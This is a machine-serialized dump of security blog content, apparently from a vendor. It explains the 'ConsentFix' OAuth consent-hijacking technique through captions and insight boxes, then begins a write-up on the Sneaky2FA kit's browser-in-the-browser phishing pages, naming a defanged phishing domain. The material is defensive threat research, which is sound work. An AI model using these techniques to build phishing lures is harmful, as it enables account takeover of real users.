:109310,"content":109311,"nodeType":963},{},[109312],{"data":109313,"marks":109314,"value":70608,"nodeType":865},{},[109315],{"type":961},{"data":109317,"content":109318,"nodeType":866},{},[109319,109322,109328],{"data":109320,"marks":109321,"value":70615,"nodeType":865},{},[],{"data":109323,"content":109324,"nodeType":882},{"uri":13634},[109325],{"data":109326,"marks":109327,"value":29898,"nodeType":865},{},[],{"data":109329,"marks":109330,"value":70625,"nodeType":865},{},[],{"data":109332,"content":109333,"nodeType":866},{},[109334],{"data":109335,"marks":109336,"value":70632,"nodeType":865},{},[],{"data":109338,"content":109339,"nodeType":866},{},[109340,109343,109347],{"data":109341,"marks":109342,"value":70639,"nodeType":865},{},[],{"data":109344,"marks":109345,"value":70644,"nodeType":865},{},[109346],{"type":961},{"data":109348,"marks":109349,"value":70648,"nodeType":865},{},[],{"data":109351,"content":109352,"nodeType":866},{},[109353],{"data":109354,"marks":109355,"value":70655,"nodeType":865},{},[],{"data":109357,"content":109358,"nodeType":866},{},[109359],{"data":109360,"marks":109361,"value":70662,"nodeType":865},{},[],{"data":109363,"content":109366,"nodeType":925},{"target":109364},{"sys":109365},{"id":70667,"type":922,"linkType":923},[],{"data":109368,"content":109369,"nodeType":866},{},[109370],{"data":109371,"marks":109372,"value":70675,"nodeType":865},{},[],{"data":109374,"content":109375,"nodeType":953},{},[],{"data":109377,"content":109378,"nodeType":963},{},[109379],{"data":109380,"marks":109381,"value":70686,"nodeType":865},{},[109382],{"type":961},{"data":109384,"content":109385,"nodeType":866},{},[109386],{"data":109387,"marks":109388,"value":70693,"nodeType":865},{},[],{"data":109390,"content":109391,"nodeType":1049},{},[109392,109401,109410,109419,109428],{"data":109393,"content":109394,"nodeType":1003},{},[109395],{"data":109396,"content":109397,"nodeType":866},{},[109398],{"data":109399,"marks":109400,"value":70706,"nodeType":865},{},[],{"data":109402,"content":109403,"nodeType":1003},{},[109404],{"data":109405,"content":109406,"nodeType":866},{},[109407],{"data":109408,"marks":109409,"value":70716,"nodeType":865},{},[],{"data":109411,"content":109412,"nodeType":1003},{},[109413],{"data":109414,"content":109415,"nodeType":866},{},[109416],{"data":109417,"marks":109418,"value":70726,"nodeType":865},{},[],{"data":109420,"content":109421,"nodeType":1003},{},[109422],{"data":109423,"content":109424,"nodeType":866},{},[109425],{"data":109426,"marks":109427,"value":70736,"nodeType":865},{},[],{"data":109429,"content":109430,"nodeType":1003},{},[109431],{"data":109432,"content":109433,"nodeType":866},{},[109434],{"data":109435,"marks":109436,"value":70746,"nodeType":865},{},[],{"data":109438,"content":109439,"nodeType":866},{},[109440],{"data":109441,"marks":109442,"value":70753,"nodeType":865},{},[],{"data":109444,"content":109445,"nodeType":953},{},[],{"data":109447,"content":109448,"nodeType":963},{},[109449],{"data":109450,"marks":109451,"value":70764,"nodeType":865},{},[109452],{"type":961},{"data":109454,"content":109457,"nodeType":925},{"target":109455},{"sys":109456},{"id":70769,"type":922,"linkType":923},[],{"data":109459,"content":109460,"nodeType":866},{},[109461],{"data":109462,"marks":109463,"value":70777,"nodeType":865},{},[],{"data":109465,"content":109466,"nodeType":866},{},[109467],{"data":109468,"marks":109469,"value":70784,"nodeType":865},{},[],{"data":109471,"content":109474,"nodeType":925},{"target":109472},{"sys":109473},{"id":70789,"type":922,"linkType":923},[],{"data":109476,"content":109477,"nodeType":866},{},[109478],{"data":109479,"marks":109480,"value":70797,"nodeType":865},{},[],{"data":109482,"content":109483,"nodeType":1049},{},[109484,109497],{"data":109485,"content":109486,"nodeType":1003},{},[109487],{"data":109488,"content":109489,"nodeType":866},{},[109490,109494],{"data":109491,"marks":109492,"value":70811,"nodeType":865},{},[109493],{"type":961},{"data":109495,"marks":109496,"value":70815,"nodeType":865},{},[],{"data":109498,"content":109499,"nodeType":1003},{},[109500],{"data":109501,"content":109502,"nodeType":866},{},[109503,109507],{"data":109504,"marks":109505,"value":70826,"nodeType":865},{},[109506],{"type":961},{"data":109508,"marks":109509,"value":70830,"nodeType":865},{},[],{"data":109511,"content":109512,"nodeType":866},{},[109513],{"data":109514,"marks":109515,"value":70837,"nodeType":865},{},[],{"data":109517,"content":109518,"nodeType":866},{},[109519],{"data":109520,"marks":109521,"value":70844,"nodeType":865},{},[],{"data":109523,"content":109526,"nodeType":925},{"target":109524},{"sys":109525},{"id":70849,"type":922,"linkType":923},[],{"data":109528,"content":109529,"nodeType":866},{},[109530],{"data":109531,"marks":109532,"value":70857,"nodeType":865},{},[],{"data":109534,"content":109537,"nodeType":925},{"target":109535},{"sys":109536},{"id":70862,"type":922,"linkType":923},[],{"data":109539,"content":109540,"nodeType":1458},{},[109541],{"data":109542,"marks":109543,"value":22744,"nodeType":865},{},[109544],{"type":961},{"data":109546,"content":109547,"nodeType":866},{},[109548,109551,109558],{"data":109549,"marks":109550,"value":25047,"nodeType":865},{},[],{"data":109552,"content":109553,"nodeType":882},{"uri":13757},[109554],{"data":109555,"marks":109556,"value":13762,"nodeType":865},{},[109557],{"type":997},{"data":109559,"marks":109560,"value":70887,"nodeType":865},{},[],{"data":109562,"content":109563,"nodeType":866},{},[109564],{"data":109565,"marks":109566,"value":70894,"nodeType":865},{},[],{"data":109568,"content":109569,"nodeType":1049},{},[109570,109579,109588],{"data":109571,"content":109572,"nodeType":1003},{},[109573],{"data":109574,"content":109575,"nodeType":866},{},[109576],{"data":109577,"marks":109578,"value":70907,"nodeType":865},{},[],{"data":109580,"content":109581,"nodeType":1003},{},[109582],{"data":109583,"content":109584,"nodeType":866},{},[109585],{"data":109586,"marks":109587,"value":70917,"nodeType":865},{},[],{"data":109589,"content":109590,"nodeType":1003},{},[109591],{"data":109592,"content":109593,"nodeType":866},{},[109594],{"data":109595,"marks":109596,"value":70927,"nodeType":865},{},[],{"data":109598,"content":109599,"nodeType":866},{},[109600],{"data":109601,"marks":109602,"value":70934,"nodeType":865},{},[],{"data":109604,"content":109605,"nodeType":1049},{},[109606,109615,109624],{"data":109607,"content":109608,"nodeType":1003},{},[109609],{"data":109610,"content":109611,"nodeType":866},{},[109612],{"data":109613,"marks":109614,"value":70947,"nodeType":865},{},[],{"data":109616,"content":109617,"nodeType":1003},{},[109618],{"data":109619,"content":109620,"nodeType":866},{},[109621],{"data":109622,"marks":109623,"value":70957,"nodeType":865},{},[],{"data":109625,"content":109626,"nodeType":1003},{},[109627],{"data":109628,"content":109629,"nodeType":866},{},[109630],{"data":109631,"marks":109632,"value":70967,"nodeType":865},{},[],{"data":109634,"content":109635,"nodeType":953},{},[],{"data":109637,"content":109638,"nodeType":963},{},[109639],{"data":109640,"marks":109641,"value":70978,"nodeType":865},{},[109642],{"type":961},{"data":109644,"content":109645,"nodeType":866},{},[109646],{"data":109647,"marks":109648,"value":70985,"nodeType":865},{},[],{"data":109650,"content":109653,"nodeType":925},{"target":109651},{"sys":109652},{"id":70990,"type":922,"linkType":923},[],{"data":109655,"content":109656,"nodeType":866},{},[109657,109660,109667],{"data":109658,"marks":109659,"value":70998,"nodeType":865},{},[],{"data":109661,"content":109662,"nodeType":882},{"uri":13634},[109663],{"data":109664,"marks":109665,"value":71006,"nodeType":865},{},[109666],{"type":997},{"data":109668,"marks":109669,"value":71010,"nodeType":865},{},[],{"data":109671,"content":109672,"nodeType":866},{},[109673],{"data":109674,"marks":109675,"value":71017,"nodeType":865},{},[],{"data":109677,"content":109678,"nodeType":866},{},[109679,109682,109689,109692,109699],{"data":109680,"marks":109681,"value":32401,"nodeType":865},{},[],{"data":109683,"content":109684,"nodeType":882},{"uri":22700},[109685],{"data":109686,"marks":109687,"value":22706,"nodeType":865},{},[109688],{"type":997},{"data":109690,"marks":109691,"value":71034,"nodeType":865},{},[],{"data":109693,"content":109694,"nodeType":882},{"uri":1728},[109695],{"data":109696,"marks":109697,"value":22730,"nodeType":865},{},[109698],{"type":997},{"data":109700,"marks":109701,"value":1048,"nodeType":865},{},[],{"data":109703,"content":109706,"nodeType":925},{"target":109704},{"sys":109705},{"id":71049,"type":922,"linkType":923},[],{"data":109708,"content":109709,"nodeType":866},{},[109710],{"data":109711,"marks":109712,"value":21,"nodeType":865},{},[],{"entries":109714},{"hyperlink":109715,"inline":109716,"block":109717},[],[],[109718,109744,109752,109759,109765,109770,109776,109779,109783,109787,109792,109816,109823,109830,109860,109867],{"sys":109719,"__typename":9270,"content":109720,"name":109743,"title":59},{"id":70269},{"json":109721},{"nodeType":1739,"data":109722,"content":109723},{},[109724],{"nodeType":866,"data":109725,"content":109726},{},[109727,109730,109739],{"nodeType":865,"value":21,"marks":109728,"data":109729},[],{},{"nodeType":882,"data":109731,"content":109733},{"uri":109732},"https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth2-auth-code-flow",[109734],{"nodeType":865,"value":109735,"marks":109736,"data":109738},"Authorization code flow",[109737],{"type":997},{},{"nodeType":865,"value":109740,"marks":109741,"data":109742}," is an OAuth 2.0 protocol for web applications to get a user's permission to access protected resources. When using the authorization code flow to connect an app, it combines the code with an OAuth secret held by the app in exchange for a token (the valuable part). However, some apps can’t protect a secret — for example, apps that run on your mobile device or desktop. In this case, the code alone is enough to generate an OAuth token, without the secret — which is what is being exploited here.",[],{},"ConsentFix Insight Box 1",{"sys":109745,"__typename":1747,"title":109746,"caption":109747,"layoutMode":59,"file":109748},{"id":70275},"Authorization code flow in Microsoft apps.","Authorization code flow for Microsoft apps.",{"url":109749,"width":109750,"height":109751},"https://images.ctfassets.net/y1cdw1ablpvd/39SjQQIFV5aDh4Xq90X1BX/59ff8127bd758e34620738e2cecc0341/image2.png",1656,1064,{"sys":109753,"__typename":1747,"title":109754,"caption":109754,"layoutMode":59,"file":109755},{"id":70306},"Fake Cloudflare Turnstile page requesting a valid email address.",{"url":109756,"width":109757,"height":109758},"https://images.ctfassets.net/y1cdw1ablpvd/7bkcFEo59SUYRyBOAHfj6G/f8a49793c6190bea9007753ad1a93159/image_683.png",1446,546,{"sys":109760,"__typename":1747,"title":109761,"caption":109761,"layoutMode":59,"file":109762},{"id":70339},"If a personal email address is used, a business address is prompted.",{"url":109763,"width":1759,"height":109764},"https://images.ctfassets.net/y1cdw1ablpvd/7CNNGeywhNK5XJaGs1wC08/3a948187b0cadb8f1989db04d233ce49/image5.png",958,{"sys":109766,"__typename":1747,"title":109767,"caption":109767,"layoutMode":59,"file":109768},{"id":70352},"The victim is prompted to complete a further verification check.",{"url":109769,"width":106716,"height":106717},"https://images.ctfassets.net/y1cdw1ablpvd/m8UjkvISMPYalhzlpFrHq/b31f330ce1d49e242f0b4185b154d3e2/image_694__1_.png",{"sys":109771,"__typename":1747,"title":109772,"caption":109772,"layoutMode":59,"file":109773},{"id":70408},"Response on the malicious page, showing the response URL and redirect. The client_id is specific to the Azure CLI app.",{"url":109774,"width":1759,"height":109775},"https://images.ctfassets.net/y1cdw1ablpvd/24oliBnRyryM1MGM06rqUh/4e6dd173756c8f472601b9665155d27b/image1.png",1051,{"sys":109777,"__typename":1747,"title":97160,"caption":70011,"layoutMode":59,"file":109778},{"id":70414},{"url":97162,"width":1759,"height":16},{"sys":109780,"__typename":12453,"title":109781,"arcadeDemoUrl":109782,"playText":12456},{"id":70472},"ConsentFix Demo","https://demo.arcade.software/jVg07nEAWrkdzyRc4S83?embed",{"sys":109784,"__typename":12453,"title":94407,"arcadeDemoUrl":109785,"playText":109786},{"id":70496},"https://demo.arcade.software/yQIHbuD990Dk5CjI1cvS?embed","1 mins",{"sys":109788,"__typename":12453,"title":109789,"arcadeDemoUrl":109790,"playText":109791},{"id":70667},"ConsentFix Denied Access","https://demo.arcade.software/3zw2WIpCdCI2FhnEbLH7?embed","1 min",{"sys":109793,"__typename":9270,"content":109794,"name":109815,"title":59},{"id":70769},{"json":109795},{"nodeType":1739,"data":109796,"content":109797},{},[109798],{"nodeType":866,"data":109799,"content":109800},{},[109801,109805,109812],{"nodeType":865,"value":109802,"marks":109803,"data":109804},"Since releasing this research, the security community has jumped on ConsentFix, discovering several additional vulnerable Microsoft apps, and sharing a variety of Microsoft-specific mitigation and detection guidance. You can find this information aggregated ",[],{},{"nodeType":882,"data":109806,"content":109807},{"uri":19260},[109808],{"nodeType":865,"value":109809,"marks":109810,"data":109811},"in our follow-up blog post here",[],{},{"nodeType":865,"value":10349,"marks":109813,"data":109814},[],{},"ConsentFix Insight Box 4",{"sys":109817,"__typename":1747,"title":109818,"caption":109818,"layoutMode":59,"file":109819},{"id":70789},"Microsoft log examples.",{"url":109820,"width":109821,"height":109822},"https://images.ctfassets.net/y1cdw1ablpvd/66hEuuZyciE7RPKR7tpZz4/c75ef643729ddd93cf5850dbe7a81617/image8.png",1794,240,{"sys":109824,"__typename":1747,"title":109825,"caption":109825,"layoutMode":59,"file":109826},{"id":70849},"Non-interactive logins observed from IP addresses in the US and Indonesia. ",{"url":109827,"width":109828,"height":109829},"https://images.ctfassets.net/y1cdw1ablpvd/76x7GAQzcmzaM30BvyBDNS/33b84a9d8c7a4ac088f080df705841dd/image9.png",1838,316,{"sys":109831,"__typename":9270,"content":109832,"name":109859,"title":59},{"id":70862},{"json":109833},{"nodeType":1739,"data":109834,"content":109835},{},[109836],{"nodeType":866,"data":109837,"content":109838},{},[109839,109844,109848,109855],{"nodeType":865,"value":109840,"marks":109841,"data":109843},"Note: ",[109842],{"type":961},{},{"nodeType":865,"value":109845,"marks":109846,"data":109847},"The attacker is intentionally leveraging legacy scopes to evade detection. You should ensure that ",[],{},{"nodeType":882,"data":109849,"content":109850},{"uri":93659},[109851],{"nodeType":865,"value":93665,"marks":109852,"data":109854},[109853],{"type":997},{},{"nodeType":865,"value":109856,"marks":109857,"data":109858}," is enabled and monitored to be able to search for unusual activity such as AD enumeration.",[],{},"ConsentFix Insight Box 3",{"sys":109861,"__typename":1747,"title":109862,"caption":109862,"layoutMode":59,"file":109863},{"id":70990},"Detection timeline showing the page being detected and blocked by Push.",{"url":109864,"width":109865,"height":109866},"https://images.ctfassets.net/y1cdw1ablpvd/4H7j3s8F1FuyrGBvgSFs5a/882bf3ec5e477031fda0fde3223832f9/Group_594__1_.png",2328,1116,{"sys":109868,"__typename":5631,"type":5632,"ctaText":106726,"buttonLabel":88203,"buttonColour":5635,"buttonUrl":106660},{"id":71049},{"items":109870},[],{},"ConsentFix: Browser-native ClickFix hijacks OAuth grants",{"items":109874},[109875,110395,110953],{"__typename":1788,"sys":109876,"content":109877,"title":60312,"synopsis":108063,"hashTags":59,"publishedDate":108064,"slug":60313,"tagsCollection":110385,"authorsCollection":110391},{"id":15560},{"json":109878},{"data":109879,"content":109880,"nodeType":1739},{},[109881,109887,109893,109899,109904,109910,109913,109920,109926,109932,109938,109943,109949,109954,109960,109965,109971,109976,110002,110008,110013,110019,110024,110030,110035,110041,110080,110083,110090,110096,110102,110108,110113,110116,110123,110129,110145,110150,110155,110160,110166,110171,110176,110192,110195,110202,110218,110223,110229,110245,110252,110258,110264,110270,110286,110293,110299,110304,110307,110314,110320,110326,110329,110336,110342,110348,110374,110379],{"data":109882,"content":109883,"nodeType":866},{},[109884],{"data":109885,"marks":109886,"value":107493,"nodeType":865},{},[],{"data":109888,"content":109889,"nodeType":866},{},[109890],{"data":109891,"marks":109892,"value":107500,"nodeType":865},{},[],{"data":109894,"content":109895,"nodeType":866},{},[109896],{"data":109897,"marks":109898,"value":107507,"nodeType":865},{},[],{"data":109900,"content":109903,"nodeType":925},{"target":109901},{"sys":109902},{"id":107512,"type":922,"linkType":923},[],{"data":109905,"content":109906,"nodeType":866},{},[109907],{"data":109908,"marks":109909,"value":107520,"nodeType":865},{},[],{"data":109911,"content":109912,"nodeType":953},{},[],{"data":109914,"content":109915,"nodeType":963},{},[109916],{"data":109917,"marks":109918,"value":107531,"nodeType":865},{},[109919],{"type":961},{"data":109921,"content":109922,"nodeType":866},{},[109923],{"data":109924,"marks":109925,"value":107538,"nodeType":865},{},[],{"data":109927,"content":109928,"nodeType":866},{},[109929],{"data":109930,"marks":109931,"value":107545,"nodeType":865},{},[],{"data":109933,"content":109934,"nodeType":866},{},[109935],{"data":109936,"marks":109937,"value":107552,"nodeType":865},{},[],{"data":109939,"content":109942,"nodeType":925},{"target":109940},{"sys":109941},{"id":107557,"type":922,"linkType":923},[],{"data":109944,"content":109945,"nodeType":866},{},[109946],{"data":109947,"marks":109948,"value":107565,"nodeType":865},{},[],{"data":109950,"content":109953,"nodeType":925},{"target":109951},{"sys":109952},{"id":107570,"type":922,"linkType":923},[],{"data":109955,"content":109956,"nodeType":866},{},[109957],{"data":109958,"marks":109959,"value":107578,"nodeType":865},{},[],{"data":109961,"content":109964,"nodeType":925},{"target":109962},{"sys":109963},{"id":107583,"type":922,"linkType":923},[],{"data":109966,"content":109967,"nodeType":866},{},[109968],{"data":109969,"marks":109970,"value":107591,"nodeType":865},{},[],{"data":109972,"content":109975,"nodeType":925},{"target":109973},{"sys":109974},{"id":107596,"type":922,"linkType":923},[],{"data":109977,"content":109978,"nodeType":866},{},[109979,109982,109989,109992,109999],{"data":109980,"marks":109981,"value":107604,"nodeType":865},{},[],{"data":109983,"content":109984,"nodeType":882},{"uri":70317},[109985],{"data":109986,"marks":109987,"value":107612,"nodeType":865},{},[109988],{"type":997},{"data":109990,"marks":109991,"value":107616,"nodeType":865},{},[],{"data":109993,"content":109994,"nodeType":882},{"uri":13634},[109995],{"data":109996,"marks":109997,"value":13639,"nodeType":865},{},[109998],{"type":997},{"data":110000,"marks":110001,"value":107627,"nodeType":865},{},[],{"data":110003,"content":110004,"nodeType":866},{},[110005],{"data":110006,"marks":110007,"value":107634,"nodeType":865},{},[],{"data":110009,"content":110012,"nodeType":925},{"target":110010},{"sys":110011},{"id":107639,"type":922,"linkType":923},[],{"data":110014,"content":110015,"nodeType":866},{},[110016],{"data":110017,"marks":110018,"value":107647,"nodeType":865},{},[],{"data":110020,"content":110023,"nodeType":925},{"target":110021},{"sys":110022},{"id":107652,"type":922,"linkType":923},[],{"data":110025,"content":110026,"nodeType":866},{},[110027],{"data":110028,"marks":110029,"value":107660,"nodeType":865},{},[],{"data":110031,"content":110034,"nodeType":925},{"target":110032},{"sys":110033},{"id":107665,"type":922,"linkType":923},[],{"data":110036,"content":110037,"nodeType":866},{},[110038],{"data":110039,"marks":110040,"value":107673,"nodeType":865},{},[],{"data":110042,"content":110043,"nodeType":1049},{},[110044,110053,110062,110071],{"data":110045,"content":110046,"nodeType":1003},{},[110047],{"data":110048,"content":110049,"nodeType":866},{},[110050],{"data":110051,"marks":110052,"value":107686,"nodeType":865},{},[],{"data":110054,"content":110055,"nodeType":1003},{},[110056],{"data":110057,"content":110058,"nodeType":866},{},[110059],{"data":110060,"marks":110061,"value":107696,"nodeType":865},{},[],{"data":110063,"content":110064,"nodeType":1003},{},[110065],{"data":110066,"content":110067,"nodeType":866},{},[110068],{"data":110069,"marks":110070,"value":107706,"nodeType":865},{},[],{"data":110072,"content":110073,"nodeType":1003},{},[110074],{"data":110075,"content":110076,"nodeType":866},{},[110077],{"data":110078,"marks":110079,"value":107716,"nodeType":865},{},[],{"data":110081,"content":110082,"nodeType":953},{},[],{"data":110084,"content":110085,"nodeType":963},{},[110086],{"data":110087,"marks":110088,"value":107727,"nodeType":865},{},[110089],{"type":961},{"data":110091,"content":110092,"nodeType":866},{},[110093],{"data":110094,"marks":110095,"value":107734,"nodeType":865},{},[],{"data":110097,"content":110098,"nodeType":866},{},[110099],{"data":110100,"marks":110101,"value":107741,"nodeType":865},{},[],{"data":110103,"content":110104,"nodeType":866},{},[110105],{"data":110106,"marks":110107,"value":107748,"nodeType":865},{},[],{"data":110109,"content":110112,"nodeType":925},{"target":110110},{"sys":110111},{"id":107753,"type":922,"linkType":923},[],{"data":110114,"content":110115,"nodeType":953},{},[],{"data":110117,"content":110118,"nodeType":963},{},[110119],{"data":110120,"marks":110121,"value":107765,"nodeType":865},{},[110122],{"type":961},{"data":110124,"content":110125,"nodeType":866},{},[110126],{"data":110127,"marks":110128,"value":107772,"nodeType":865},{},[],{"data":110130,"content":110131,"nodeType":866},{},[110132,110135,110142],{"data":110133,"marks":110134,"value":107779,"nodeType":865},{},[],{"data":110136,"content":110137,"nodeType":882},{"uri":107782},[110138],{"data":110139,"marks":110140,"value":107788,"nodeType":865},{},[110141],{"type":997},{"data":110143,"marks":110144,"value":107792,"nodeType":865},{},[],{"data":110146,"content":110149,"nodeType":925},{"target":110147},{"sys":110148},{"id":107797,"type":922,"linkType":923},[],{"data":110151,"content":110154,"nodeType":925},{"target":110152},{"sys":110153},{"id":107803,"type":922,"linkType":923},[],{"data":110156,"content":110159,"nodeType":925},{"target":110157},{"sys":110158},{"id":107809,"type":922,"linkType":923},[],{"data":110161,"content":110162,"nodeType":866},{},[110163],{"data":110164,"marks":110165,"value":107817,"nodeType":865},{},[],{"data":110167,"content":110170,"nodeType":925},{"target":110168},{"sys":110169},{"id":107822,"type":922,"linkType":923},[],{"data":110172,"content":110175,"nodeType":925},{"target":110173},{"sys":110174},{"id":107828,"type":922,"linkType":923},[],{"data":110177,"content":110178,"nodeType":866},{},[110179,110182,110189],{"data":110180,"marks":110181,"value":107836,"nodeType":865},{},[],{"data":110183,"content":110184,"nodeType":882},{"uri":107839},[110185],{"data":110186,"marks":110187,"value":107845,"nodeType":865},{},[110188],{"type":997},{"data":110190,"marks":110191,"value":107849,"nodeType":865},{},[],{"data":110193,"content":110194,"nodeType":953},{},[],{"data":110196,"content":110197,"nodeType":963},{},[110198],{"data":110199,"marks":110200,"value":107860,"nodeType":865},{},[110201],{"type":961},{"data":110203,"content":110204,"nodeType":866},{},[110205,110208,110215],{"data":110206,"marks":110207,"value":107867,"nodeType":865},{},[],{"data":110209,"content":110210,"nodeType":882},{"uri":107870},[110211],{"data":110212,"marks":110213,"value":29898,"nodeType":865},{},[110214],{"type":997},{"data":110216,"marks":110217,"value":107879,"nodeType":865},{},[],{"data":110219,"content":110222,"nodeType":925},{"target":110220},{"sys":110221},{"id":107884,"type":922,"linkType":923},[],{"data":110224,"content":110225,"nodeType":866},{},[110226],{"data":110227,"marks":110228,"value":107892,"nodeType":865},{},[],{"data":110230,"content":110231,"nodeType":866},{},[110232,110235,110242],{"data":110233,"marks":110234,"value":107899,"nodeType":865},{},[],{"data":110236,"content":110237,"nodeType":882},{"uri":38372},[110238],{"data":110239,"marks":110240,"value":315,"nodeType":865},{},[110241],{"type":997},{"data":110243,"marks":110244,"value":107910,"nodeType":865},{},[],{"data":110246,"content":110247,"nodeType":1458},{},[110248],{"data":110249,"marks":110250,"value":107918,"nodeType":865},{},[110251],{"type":961},{"data":110253,"content":110254,"nodeType":866},{},[110255],{"data":110256,"marks":110257,"value":107925,"nodeType":865},{},[],{"data":110259,"content":110260,"nodeType":866},{},[110261],{"data":110262,"marks":110263,"value":107932,"nodeType":865},{},[],{"data":110265,"content":110266,"nodeType":866},{},[110267],{"data":110268,"marks":110269,"value":107939,"nodeType":865},{},[],{"data":110271,"content":110272,"nodeType":866},{},[110273,110276,110283],{"data":110274,"marks":110275,"value":107946,"nodeType":865},{},[],{"data":110277,"content":110278,"nodeType":882},{"uri":8759},[110279],{"data":110280,"marks":110281,"value":19437,"nodeType":865},{},[110282],{"type":997},{"data":110284,"marks":110285,"value":107957,"nodeType":865},{},[],{"data":110287,"content":110288,"nodeType":1458},{},[110289],{"data":110290,"marks":110291,"value":107965,"nodeType":865},{},[110292],{"type":961},{"data":110294,"content":110295,"nodeType":866},{},[110296],{"data":110297,"marks":110298,"value":107972,"nodeType":865},{},[],{"data":110300,"content":110303,"nodeType":925},{"target":110301},{"sys":110302},{"id":107977,"type":922,"linkType":923},[],{"data":110305,"content":110306,"nodeType":953},{},[],{"data":110308,"content":110309,"nodeType":963},{},[110310],{"data":110311,"marks":110312,"value":22744,"nodeType":865},{},[110313],{"type":961},{"data":110315,"content":110316,"nodeType":866},{},[110317],{"data":110318,"marks":110319,"value":107995,"nodeType":865},{},[],{"data":110321,"content":110322,"nodeType":866},{},[110323],{"data":110324,"marks":110325,"value":108002,"nodeType":865},{},[],{"data":110327,"content":110328,"nodeType":953},{},[],{"data":110330,"content":110331,"nodeType":963},{},[110332],{"data":110333,"marks":110334,"value":1704,"nodeType":865},{},[110335],{"type":961},{"data":110337,"content":110338,"nodeType":866},{},[110339],{"data":110340,"marks":110341,"value":108019,"nodeType":865},{},[],{"data":110343,"content":110344,"nodeType":866},{},[110345],{"data":110346,"marks":110347,"value":74702,"nodeType":865},{},[],{"data":110349,"content":110350,"nodeType":866},{},[110351,110354,110361,110364,110371],{"data":110352,"marks":110353,"value":32401,"nodeType":865},{},[],{"data":110355,"content":110356,"nodeType":882},{"uri":22700},[110357],{"data":110358,"marks":110359,"value":22706,"nodeType":865},{},[110360],{"type":997},{"data":110362,"marks":110363,"value":71034,"nodeType":865},{},[],{"data":110365,"content":110366,"nodeType":882},{"uri":1728},[110367],{"data":110368,"marks":110369,"value":22730,"nodeType":865},{},[110370],{"type":997},{"data":110372,"marks":110373,"value":1048,"nodeType":865},{},[],{"data":110375,"content":110378,"nodeType":925},{"target":110376},{"sys":110377},{"id":71049,"type":922,"linkType":923},[],{"data":110380,"content":110381,"nodeType":866},{},[110382],{"data":110383,"marks":110384,"value":21,"nodeType":865},{},[],{"items":110386},[110387,110389],{"sys":110388,"name":11426},{"id":11425},{"sys":110390,"name":342},{"id":8410},{"items":110392},[110393],{"fullName":32445,"firstName":32446,"jobTitle":32447,"profilePicture":110394},{"url":32449},{"__typename":1788,"sys":110396,"content":110397,"title":103686,"synopsis":110941,"hashTags":59,"publishedDate":110942,"slug":103687,"tagsCollection":110943,"authorsCollection":110949},{"id":98759},{"json":110398},{"data":110399,"content":110400,"nodeType":1739},{},[110401,110408,110414,110443,110450,110457,110464,110467,110475,110495,110502,110508,110515,110521,110528,110534,110541,110547,110554,110560,110567,110574,110580,110583,110591,110611,110618,110625,110631,110649,110657,110677,110685,110703,110710,110716,110748,110756,110789,110797,110817,110822,110825,110833,110853,110859,110862,110869,110876,110883,110886,110893,110899,110906,110930,110935],{"data":110402,"content":110403,"nodeType":866},{},[110404],{"data":110405,"marks":110406,"value":110407,"nodeType":865},{},[],"PhaaS kits make up the vast majority of phishing sites intercepted by Push and dominate the phishing landscape, with kits like Tycoon, NakedPages, Flowerstorm, Salty2FA, and various Evilginx variations proving very popular among attackers targeting Push customers.",{"data":110409,"content":110410,"nodeType":866},{},[110411],{"data":110412,"marks":110413,"value":102045,"nodeType":865},{},[],{"data":110415,"content":110416,"nodeType":866},{},[110417,110421,110429,110432,110439],{"data":110418,"marks":110419,"value":110420,"nodeType":865},{},[],"This competitive environment has fuelled attacker innovation, resulting in an environment in which MFA-bypass is table stakes, phishing-resistant authentication is being circumvented through ",{"data":110422,"content":110424,"nodeType":882},{"uri":110423},"https://pushsecurity.com/blog/mfa-downgrade-attacks/",[110425],{"data":110426,"marks":110427,"value":102061,"nodeType":865},{},[110428],{"type":997},{"data":110430,"marks":110431,"value":3892,"nodeType":865},{},[],{"data":110433,"content":110434,"nodeType":882},{"uri":13634},[110435],{"data":110436,"marks":110437,"value":29898,"nodeType":865},{},[110438],{"type":997},{"data":110440,"marks":110441,"value":110442,"nodeType":865},{},[]," are being used to circumvent security tools — from email scanners, to web-crawling security tools, to web proxies analyzing network traffic.",{"data":110444,"content":110445,"nodeType":866},{},[110446],{"data":110447,"marks":110448,"value":110449,"nodeType":865},{},[],"Recently, we’ve noticed an increase in detections relating to Sneaky2FA, which operates through a fully-featured bot on Telegram. Customers reportedly receive access to a licensed, obfuscated version of the source code and deploy it independently.",{"data":110451,"content":110452,"nodeType":866},{},[110453],{"data":110454,"marks":110455,"value":110456,"nodeType":865},{},[],"This makes Sneaky2FA something that can be reliably profiled and tracked due to these codebase similarities — which is what we’re actively doing at Push. ",{"data":110458,"content":110459,"nodeType":866},{},[110460],{"data":110461,"marks":110462,"value":110463,"nodeType":865},{},[],"Why is this relevant? Well, the latest Sneaky2FA phish we identified was pretty interesting. ",{"data":110465,"content":110466,"nodeType":953},{},[],{"data":110468,"content":110469,"nodeType":963},{},[110470],{"data":110471,"marks":110472,"value":110474,"nodeType":865},{},[110473],{"type":961},"Sneaky2FA adds BITB to its phishing toolkit",{"data":110476,"content":110477,"nodeType":866},{},[110478,110482,110491],{"data":110479,"marks":110480,"value":110481,"nodeType":865},{},[],"We recently detected a Sneaky2FA server that is a bit different from the typical reverse-proxy ",{"data":110483,"content":110485,"nodeType":882},{"uri":110484},"https://pushsecurity.com/blog/phishing-2-0-how-phishing-toolkits-are-evolving-with-aitm/",[110486],{"data":110487,"marks":110488,"value":110490,"nodeType":865},{},[110489],{"type":997},"Attacker-in-the-Middle",{"data":110492,"marks":110493,"value":110494,"nodeType":865},{},[]," site, featuring an embedded browser window that contained the actual phishing page. ",{"data":110496,"content":110497,"nodeType":866},{},[110498],{"data":110499,"marks":110500,"value":110501,"nodeType":865},{},[],"You can see how the page loaded below in the video below.",{"data":110503,"content":110507,"nodeType":925},{"target":110504},{"sys":110505},{"id":110506,"type":922,"linkType":923},"6L6Ban2xptI1uNA8OPJQzq",[],{"data":110509,"content":110510,"nodeType":866},{},[110511],{"data":110512,"marks":110513,"value":110514,"nodeType":865},{},[],"When the URL previewdoc[.]us is first accessed, a Cloudflare Turnstile check must be completed before the page loads. ",{"data":110516,"content":110520,"nodeType":925},{"target":110517},{"sys":110518},{"id":110519,"type":922,"linkType":923},"QscI1SZ6dOpgMkrJPtqLD",[],{"data":110522,"content":110523,"nodeType":866},{},[110524],{"data":110525,"marks":110526,"value":110527,"nodeType":865},{},[],"The page then redirects to a subdomain of previewdoc[.]us, which prompts the user to “Sign in with Microsoft” in order to view a document, styled to look like Adobe Acrobat Reader. 